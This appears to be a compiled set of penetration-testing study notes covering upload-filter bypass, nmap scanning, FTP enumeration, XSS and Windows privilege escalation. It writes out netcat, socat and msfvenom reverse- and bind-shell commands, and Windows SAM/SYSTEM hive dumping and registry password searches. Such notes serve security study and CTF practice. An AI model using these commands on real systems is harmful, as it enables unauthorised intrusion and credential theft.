Send the file directly to the upload point using a tool like `curl` and `POST` . `curl -X POST -F "submit:" -F ":@"` 71 | 72 | #### Server-Side Filtering 73 | 74 | **File Extensions** 75 | 76 | * Some files have different file extensions that work as well. (e.g .php is the usual but .phar among others works as well 77 | * Another example would be to use a filename like so `shell.jpg.php`where our filter only checks if .jpg exists rather than checking the extension. 78 | * Using `hexeditor` on Kali can allow to change the magic numbers at the beginning of a file 79 | -------------------------------------------------------------------------------- /information-gathering/tools/nmap/port-scanning.md: -------------------------------------------------------------------------------- 1 | # Theory 2 | 3 | After we have found that our target is alive, we want to get a more accurate picture of the system (open ports and its services, service versions, information that the services provided and operating system). Ports can have 6 different states: 4 | 5 | | State | Description | 6 | | ------------------ | ----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- | 7 | | `open` | This indicates that the connection to the scanned port has been established. These connections can be TCP connections, UDP datagrams as well as SCTP associations. | 8 | | `closed` | When the port is shown as closed, the TCP protocol indicates that the packet we received back contains an RST flag. This scanning method can also be used to determine if our target is alive or not. | 9 | | `filtered` | Nmap cannot correctly identify whether the scanned port is open or closed because either no response is returned from the target for the port or we get an error code from the target. | 10 | | `unfiltered` | This state of a port only occurs during the TCP-ACK scan and means that the port is accessible, but it cannot be determined whether it is open or closed. | 11 | | `open\|filtered` | If we do not get a response for a specific port, Nmap will set it to that state. This indicates that a firewall or packet filter may protect the port. | 12 | | `closed\|filtered` | This state only occurs in the IP ID idle scans and indicates that it was impossible to determine if the scanned port is closed or filtered by a firewall. | 13 | 14 | Types of scans include 15 | * **SYN Scan** (nmap root default) 16 | * **TCP Connect Scan** (nmap default) uses the TCP three-way handshake to determine if a specific port on a target host is open or closed. It sends a SYN packet and waits for a response. This scan is highly accurate but not stealthy because it fully establishes a connection, creating logs on most systems. 17 | * **ACK Scan** much harder to filter for firewalls and IDS/IPS systems because they only send the `ACK` flag, firewalls cannot determine whether the connection was first established from external network or the internal network. 18 | * **UDP scan** does not require a three-way handshake because it is a stateless protocol, leading to longer timeouts. System administrators will often forget to filter the UDP ports. 19 | 20 | --- 21 | 22 | # Practice 23 | 24 | ### TCP Ports 25 | 26 | ```shell 27 | # SYN scan (-sS) scanning top 10 TCP ports 28 | sudo nmap $HOST --top-ports=10 29 | 30 | # scan at port with DNS resolution (-n), packet trace and disabled ICMP echo requests (-Pn) and ARP ping 31 | sudo nmap $HOST -p $PORT --packet-trace -Pn -n --disable-arp-ping 32 | 33 | # TCP connect scan (-sT) with displaying reason for result and reducing max retries to 0 (from default of 5) 34 | sudo nmap $HOST -p $PORT --reason -sT --max-retries=0 35 | 36 | # service scan (-sV) 37 | sudo nmap $HOST -Pn -p $PORT -sV 38 | 39 | # aggressive scan (-A) with service detection, traceroute and default scripts 40 | sudo nmap $HOST -p $PORT -A 41 | 42 | # vulnerability assessment (--script vuln) on HTTP port 80 43 | sudo nmap $HOST -p 80 -sV --script vuln 44 | 45 | # insance scan (-T 5) scanning top 100 ports (-F) and outputing in normal formats (-oN) 46 | sudo nmap $HOST/24 -F -oN tnet -T 5 47 | 48 | # ACK scan on specified ports 49 | sudo nmap $HOST -p 21,22,25 -sA 50 | ``` 51 | 52 | ### UDP Ports 53 | 54 | ```shell 55 | # UDP scan 56 | sudo nmap $HOST -sU 57 | ``` -------------------------------------------------------------------------------- /pre-exploitation/shells.md: -------------------------------------------------------------------------------- 1 | --- 2 | icon: terminal 3 | --- 4 | 5 | # Shells 6 | 7 | ### Key Concepts 8 | 9 | #### Types of Shells 10 | 11 | Interactive: you can interact with programs after executing them (e.g. nano) 12 | 13 | * TeleTYpewriter (TTY): A fully interactive and stable terminal session 14 | 15 | Non-Interactive: limited to using programs that don't require user interaction. Most reverse/bind shells are non-interactive. 16 | 17 | ## Reverse Shells 18 | 19 | Target is forced to execute code that connects back to you computer. Attacker uses a listener to catch connection. 20 | 21 | {% hint style="info" %} 22 | Can bypass firewalls rules and is far more commonly used. 23 | {% endhint %} 24 | 25 | ### Netcat 26 | 27 | `nc -lvnp PORT_NUMBER` 28 | 29 | `-l` act as a listener 30 | 31 | `-v` request a verbose output 32 | 33 | `-n` do not resolve hostnames or use DNS 34 | 35 | `-p` indicates what port to use 36 | 37 | {% hint style="info" %} 38 | By default, netcat reverse shells are very unstable. We have to upgrade them. 39 | {% endhint %} 40 | 41 | #### Meterpreter to Netcat Shell 42 | 43 | 1. `meterpreter> shell` to open a standard shell 44 | 2. `nc -e /bin/bash ` to start a netcat reverse shell from target machine 45 | 46 | #### Upgrading a Netcat Shell 47 | 48 | Python: 49 | 50 | 1. `python -c 'import pty;pty.spawn("/bin/bash")'` to spawn a bash shell on target machine 51 | 2. `export TERM=xterm` to allow Terminal commands (on attacker machine) 52 | 3. `Ctrl+Z` to background the current reverse shell process 53 | 4. `stty raw -echo` to pass all keystrokes to the remote shell 54 | 5. `fg` to bring the backgrounded reverse shell back to the foreground 55 | 6. (Once exited reverse shell) use `reset` to restore terminal to normal 56 | 57 | rlwrap (Good for Windows shells): 58 | 59 | 1. `rlwrap nc -lvnp PORT_NUMBER` 60 | 2. Same process as above to stabilize 61 | 62 | Socat:\ 63 | use netcat as a stepping stone into a fully-featured Socat shell, only on Linux targets. Can use Socat for basic Windows shells. 64 | 65 | 1. Transfer a socat static compiled binary to target machine 66 | 2. Windows: 67 | 1. `socat TCP-L:PORT` for listener 68 | 2. `socat TCP:LOCAL_IP:PORT EXEC:powershell.exe,pipes` 69 | 3. Linux (with stabilization) 70 | 1. `socat TCP-L:PORT FILE:tty,raw,echo=0` for listener 71 | 2. `socat TCP:LOCAL_IP:PORT EXEC:"bash -li",pty,stderr,sigint,setsid,sane` 72 | 73 | We can also use encrypted socat shells, by replacing `TCP` with `OPENSSL` . You must have an SLL Certificate on the attacking machine: 74 | 75 | ```bash 76 | #Generate certificate 77 | openssl req --newkey rsa:2048 -nodes -keyout shell.key -x509 -days 362 -out shell.crt 78 | #Merge into one .pem file 79 | cat shell.key shell.crt > shell.pem 80 | #Reverse shell listener 81 | socat OPENSSL-LISTEN:,cert=shell.pem,verify=0 - verify=0 82 | #On target machine 83 | socat OPENSSL::,verify=0 EXEC:/bin/bash 84 | ``` 85 | 86 | ### Msfvenom 87 | 88 | Used to generate code for reverse and bind shell, can also be used to generate hexadecimal shell code for buffer overflow exploit. Payloads in various formats of your choosing. 89 | 90 | `msfvenom -p PAYLOAD OPTIONS` 91 | 92 | `-f` specify output format 93 | 94 | `-o` output location and filename 95 | 96 | `LHOST=IP` specifies IP to connect back to 97 | 98 | `LPORT=PORT` specify port on local machine to connect back to\\ 99 | 100 | e.g. `msfvenom -p windows/x64/shell/reverse_tcp -f exe -o shell.exe LHOST= LPORT=` 101 | 102 | Payload Types: 103 | 104 | * Staged: sent in two parts, stager piece of code on target machine that connects back to a listener to load real payload, does not touch the disk 105 | * Stageless: self-contained but the payload is on the disk so it's easier to catch 106 | 107 | Metasploit Multi/Handler is a good tool to catch reverse shells (especially for meterpreter shells) 108 | 109 | ```bash 110 | msfconsole #open metasploit 111 | use multi/handler 112 | options 113 | set PAYLOAD LHOST LPORT 114 | exploit -j #-j to run as background 115 | ``` 116 | 117 | ### Web Shells 118 | 119 | Some websites allow the ability to upload an executable file to active a reverse or bind shell. They are typically run inside a webserver in a language like PHP. 120 | 121 | ## Bind Shells 122 | 123 | The code executed is a listener attached to a shell directly on the target. 124 | 125 | {% hint style="info" %} 126 | May be protected by firewalls and is far less common. 127 | {% endhint %} 128 | 129 | On target machine: `nc -lvnp -e "cmd.exe"` 130 | 131 | On attacker machine: `nc MACHINE_IP` 132 | -------------------------------------------------------------------------------- /information-gathering/service-enumeration/ftp.md: -------------------------------------------------------------------------------- 1 | # Theory 2 | 3 | The File Transfer Protocol (FTP) runs on the application. In an FTP connection, two channels are opened, the client and server establish a control channel through **TCP port 21** then both participants establish the data channel via **TCP port 20**. Two variants exist 4 | * `active` where the client established the connection. Often blocked by firewall blocking all incoming connections to server. 5 | * `passive` where the server announces a port through which the client can establish the data channel. 6 | 7 | `vsFTPd` is the most common distribution of FTP. The config `/etc/vsftpd.conf` file reveals the settings. As well as `/etc/ftpusers` revealing the denied users. 8 | 9 | | **Setting** | **Description** | 10 | | ------------------------------------------------------------- | -------------------------------------------------------------------------------------------------------- | 11 | | `listen=NO` | Run from inetd or as a standalone daemon? | 12 | | `listen_ipv6=YES` | Listen on IPv6 ? | 13 | | `anonymous_enable=NO` | **(DANGEROUS)** Enable Anonymous access? | 14 | | `local_enable=YES` | Allow local users to login? | 15 | | `dirmessage_enable=YES` | Display active directory messages when users go into certain directories? | 16 | | `use_localtime=YES` | Use local time? | 17 | | `xferlog_enable=YES` | Activate logging of uploads/downloads? | 18 | | `connect_from_port_20=YES` | Connect from port 20? | 19 | | `secure_chroot_dir=/var/run/vsftpd/empty` | Name of an empty directory | 20 | | `pam_service_name=vsftpd` | This string is the name of the PAM service vsftpd will use. | 21 | | `rsa_cert_file=/etc/ssl/certs/ssl-cert-snakeoil.pem` | The last three options specify the location of the RSA certificate to use for SSL encrypted connections. | 22 | | `rsa_private_key_file=/etc/ssl/private/ssl-cert-snakeoil.key` | | 23 | | `ssl_enable=NO` | | 24 | | (optional) `anon_upload_enable=YES` | Allowing anonymous to upload files? | 25 | | (optional) `anon_mkdir_write_enable=YES` | Allowing anonymous to create new directories? | 26 | | (optional) `no_anon_password=YES` | Do not ask anonymous for password? | 27 | | (optional) `anon_root=/home/username/ftp` | Directory for anonymous. | 28 | | (optional) `write_enable=YES` | Allow the usage of FTP commands: STOR, DELE, RNFR, RNTO, MKD, RMD, APPE, and SITE? | 29 | 30 | --- 31 | # Practice 32 | 33 | ```shell 34 | # anonymous login 35 | ftp $HOST 36 | 37 | # status 38 | ftp> status 39 | 40 | # detailed output(debug and packet trace) 41 | ftp> debug 42 | ftp> trace 43 | 44 | # download file 45 | ftp> get $FILE 46 | 47 | # download all available files 48 | wget -m --no-passive ftp://anonymous:anonymous@$HOST 49 | 50 | # upload a file 51 | ftp> put $FILE 52 | 53 | # if FTP is running FTP TLS/SSL 54 | openssl s_client -connect $HOST:21 -starttls ftp 55 | ``` -------------------------------------------------------------------------------- /post-exploitation/windows.md: -------------------------------------------------------------------------------- 1 | --- 2 | icon: windows 3 | --- 4 | 5 | # Windows 6 | 7 | ## Enumeration 8 | 9 | * [WinPeas](https://github.com/peass-ng/PEASS-ng): Windows Privilege Escalation Awesome Scripts 10 | * [PrivescCheck](https://github.com/itm4n/PrivescCheck) 11 | * [WES-NG](https://github.com/bitsadmin/wesng): Windows Exploit Suggester 12 | * Metasploit. If you have a meterpreter shell you can run `multi/recon/local_exploit_suggester` 13 | 14 | ## Abusing Dangerous Privileges 15 | 16 | `whoami /priv` allows you to view what privileges your user has. 17 | 18 | #### SeBackup / SeRestore 19 | 20 | Allows user to read and write to any file in the system, ignore DACL. If enabled we can exfiltrate SAM and SYSTEM hashes and retrieve them with Impacket and perform a Pass-the-Hash (PtH) attack: 21 | 22 | ``` 23 | reg save hklm\system C:\Users\THMBackup\system.hive 24 | reg save hklm\sam C:\Users\THMBackup\sam.hive 25 | ``` 26 | 27 | #### SeTakeOwnership 28 | 29 | Allows user to taken ownership of any object on the system. We can take a service or executable that is run with `SYSTEM` privileges and replace the original binary for any payload we like. 30 | 31 | {% hint style="info" %} 32 | Being owner of a file does not mean you have privileges but mean you can assign privileges. 33 | {% endhint %} 34 | 35 | #### SeImpersonate / SeAssignPrimaryToken 36 | 37 | Allows user to run a process that "borrows" the identity and permissions of another user that connects to it. Is necessary for many services. Most of the time can be leveraged with a Potato exploit (check system version). 38 | 39 | ## Service Misconfigurations 40 | 41 | Windows services are managed by Service Control Manager (SCM). Manages state of service and current status. Each service has an associated executable run by SCM with special function ran by SCM. 42 | 43 | `sc qc SERVICE` to view the structure of a service. `binary_path_name` can allow us to access the Discretionary Access Control List (DACL) which indicates who has permissions start, stop, and pause a service. 44 | 45 | `reg query HKLM\SYSTEM\CurrentControlSet\Services\` to view service configurations. 46 | 47 | If a service has weak permissions that allows an attacker to modify or replace the service. An attacker can overwrite the legitimate file with a malicious one to gain those privileges. Involves restarting the service. 48 | 49 | #### Insecure Service Permissions 50 | 51 | If the DACL service (not the executable DACL) is modifiable, you can point to any executable with any level of permissions (even `SYSTEM`). 52 | 53 | #### Unquoted Service Permissions 54 | 55 | If a service is configured to an unquoted executable and spaces exists, the CMD does not know how to properly parse the path because a space defines a new argument. Instead of failing it will try every possibility with or without spaces. We can leverage this by placing a payload at one of the earlier paths it tries. 56 | 57 | {% hint style="info" %} 58 | This is not easily done because most services are stored in the `Program Files` directory. Which is unwritable for unprivileged users. 59 | {% endhint %} 60 | 61 | ## Quick Wins (More common in CTF) 62 | 63 | #### Vulnerable Software 64 | 65 | `wimc product get name,version,vendor` shows software installed on machine (Note: may not show all programs, as some are installed differently) 66 | 67 | `reg query HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall` to view installed applications via the Windows Registry 68 | 69 | #### Unattended Windows Installations 70 | 71 | Administrators need to install Windows on a large number of hosts so they use Windows Deployment Services to deploy a single OS image to a lot of hosts through the network. Requires an Administrator account to perform initial setup, which may be stored on local machine: 72 | 73 | ``` 74 | C:\Unattend.xml 75 | C:\Windows\Panther\Unattend.xml 76 | C:\Windows\Panther\Unattend\Unattend.xml 77 | C:\Windows\system32\sysprep.inf 78 | C:\Windows\system32\sysprep\sysprep.xml 79 | ``` 80 | 81 | #### Powershell History 82 | 83 | `type %userprofile%\AppData\Roaming\Microsoft\Windows\PowerShell\PSReadline\ConsoleHost_history.txt` 84 | 85 | #### Saved Windows Credentials 86 | 87 | `cmdkey /list` lists all credentials stored in the Windows Credential Manager (Note: won't allow you to view them directly) 88 | 89 | `runas /savecred /user:admin cmd.exe` run a cmd.exe as the user stored in the Credential Manager 90 | 91 | `reg query "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon" /v keyword` to view if auto-log on is stored in the Windows registry 92 | 93 | `reg query HKLM /f "password" /t REG_SZ /s` to search the registry for anything related to the password 94 | 95 | #### Internet Information Services (IIS) Configuration 96 | 97 | Is responsible for the default web server on Windows installs. Will sometimes store password for databases or configurated authentications. 98 | 99 | ``` 100 | C:\inetpub\wwwroot\web.config 101 | C:\Windows\Microsoft.NET\Framework64\v4.0.30319\Config\web.config 102 | ``` 103 | 104 | #### Retrieve Credentials from software 105 | 106 | PuTTY (SSH client on windows): stores connection parameters such as IPs and SSH passwords. Only accessible with Proxy `reg query HKEY_CURRENT_USER\Software\SimonTatham\PuTTY\Sessions\ /f "Proxy" /s` 107 | 108 | #### AlwaysInstallElevated 109 | 110 | Windows Installer Files (or .msi) are used to install applications on system. They are usually run with the privilege level of the user that starts it. They can be configured to run with higher privilege accounts. 111 | 112 | ``` 113 | #Two registry values have to be set 114 | reg query HKCU\SOFTWARE\Policies\Microsoft\Windows\Installer 115 | reg query HKLM\SOFTWARE\Policies\Microsoft\Windows\Installer 116 | ``` 117 | 118 | Make a malicious .msi file to exploit. 119 | 120 | #### Scheduled Tasks 121 | 122 | `schtasks` to view scheduled tasks. We can view `Task to Run` and `Run as User` , changing either might get a payload to be run by a user with higher privileges. 123 | 124 | #### Service Configurations 125 | 126 | `reg query HKLM\SYSTEM\CurrentControlSet\Services\` to view service configurations to learn about a service. 127 | 128 | #### Psexec 129 | 130 | `psexec.exe -s cmd.exe` To elevate a shell to `SYSTEM` 131 | 132 | -------------------------------------------------------------------------------- /exploitation/web-exploitation/xss.md: -------------------------------------------------------------------------------- 1 | # XSS 2 | 3 | Cross-site scripting, injection attacker where malicious Javascript gets injected into a web app and gets returned to users. 4 | 5 | Types of payloads: 6 | 7 | * Proof of concept: show that you achieved CSS on a website, usually with `alert` 8 | * Session Stealing: details of user session ⇒ login tokens, kept in cookies, take over the session and use to login 9 | * Key Logger: anything typed gets sent to a website used by hacker 10 | * Business Logic: calling a particular network or JS function 11 | 12 | ### Reflected XSS 13 | 14 | * user-supplied data in an HTTP request is included in webpage source without validation. Not persistent. 15 | * attacker could send links or embed them into iframe containing JS payload 16 | 17 | {% hint style="info" %} 18 | Suppose a website has a search function which receives the user-supplied search term in a URL parameter: 19 | 20 | `https://insecure-website.com/search?term=gift`\ 21 | The application echoes the supplied search term in the response to this URL: 22 | 23 | You searched for: gift 24 | 25 | Assuming the application doesn't perform any other processing of the data, an attacker can construct an attack like this: 26 | 27 | `https://insecure-website.com/search?term=/+Bad+stuff+here...+/` \ 28 | This URL results in the following response: 29 | 30 | You searched for: `/* Bad stuff here... */` 31 | 32 | If another user of the application requests the attacker's URL, then the script supplied by the attacker will execute in the victim user's browser, in the context of their session with the application. 33 | {% endhint %} 34 | 35 | #### Methodology 36 | 37 | * **Test every endpoint.** Every parameter within the URL query string / file path. Even HTTP Headers. 38 | * For each entry point use random values (that won't trigger any form of input filtering) 39 | * **Determine the reflection context.** Could be between HTML tags, quoted. etc. 40 | * Can used Burp Repeater to test some candidate payloads and see the HTML response. 41 | 42 | ### Stored XSS 43 | 44 | * XSS payload is stored on the web application and then gets run when other users visit the site or web page (persistent) 45 | * any data that is stored in the web application can be tried to run javascript payload 46 | 47 | {% hint style="info" %} 48 | Suppose a website allows users to submit comments on blog posts, which are displayed to other users. Users submit comments using an HTTP request like the following: 49 | 50 | `POST /post/comment HTTP/1.1 Host: vulnerable-website.com Content-Length: 100 postId=3&comment=This+post+was+extremely+helpful.&name=Carlos+Montoya&email=carlos%40normal-user.net` 51 | 52 | After this comment has been submitted, any user who visits the blog post will receive the following within the application's response: 53 | 54 | `

This post was extremely helpful.

` 55 | 56 | Assuming the application doesn't perform any other processing of the data, an attacker can submit a malicious comment like this: 57 | 58 | `` 59 | 60 | Within the attacker's request, this comment would be URL-encoded as: 61 | 62 | `comment=%3Cscript%3E%2F*%2BBad%2Bstuff%2Bhere...%2B*%2F%3C%2Fscript%3E` 63 | 64 | Any user who visits the blog post will now receive the following within the application's response: 65 | 66 | `

` 67 | 68 | The script supplied by the attacker will then execute in the victim user's browser, in the context of their session with the application. 69 | {% endhint %} 70 | 71 | #### Methodology 72 | 73 | * **Test every endpoint.** 74 | * Parameters or other data within URL query string and message body 75 | * **Find links between entry and exit points.** 76 | * **Systematically work through all data entry points, submitting a specific value into each one and monitoring the application's responses to detect cases where the submitted value appears.** 77 | 78 | ### DOM Based XSS 79 | 80 | * Manipulating the way the JS interacts with the DOM. Typically only run on the client side. 81 | * Document Object model ⇒ programming interface for HTML documents 82 | * JS execution happens directly in the browser without new pages being loaded 83 | * any variable that an attacker can have control over can be leveraged 84 | * e.g used in Juice Box `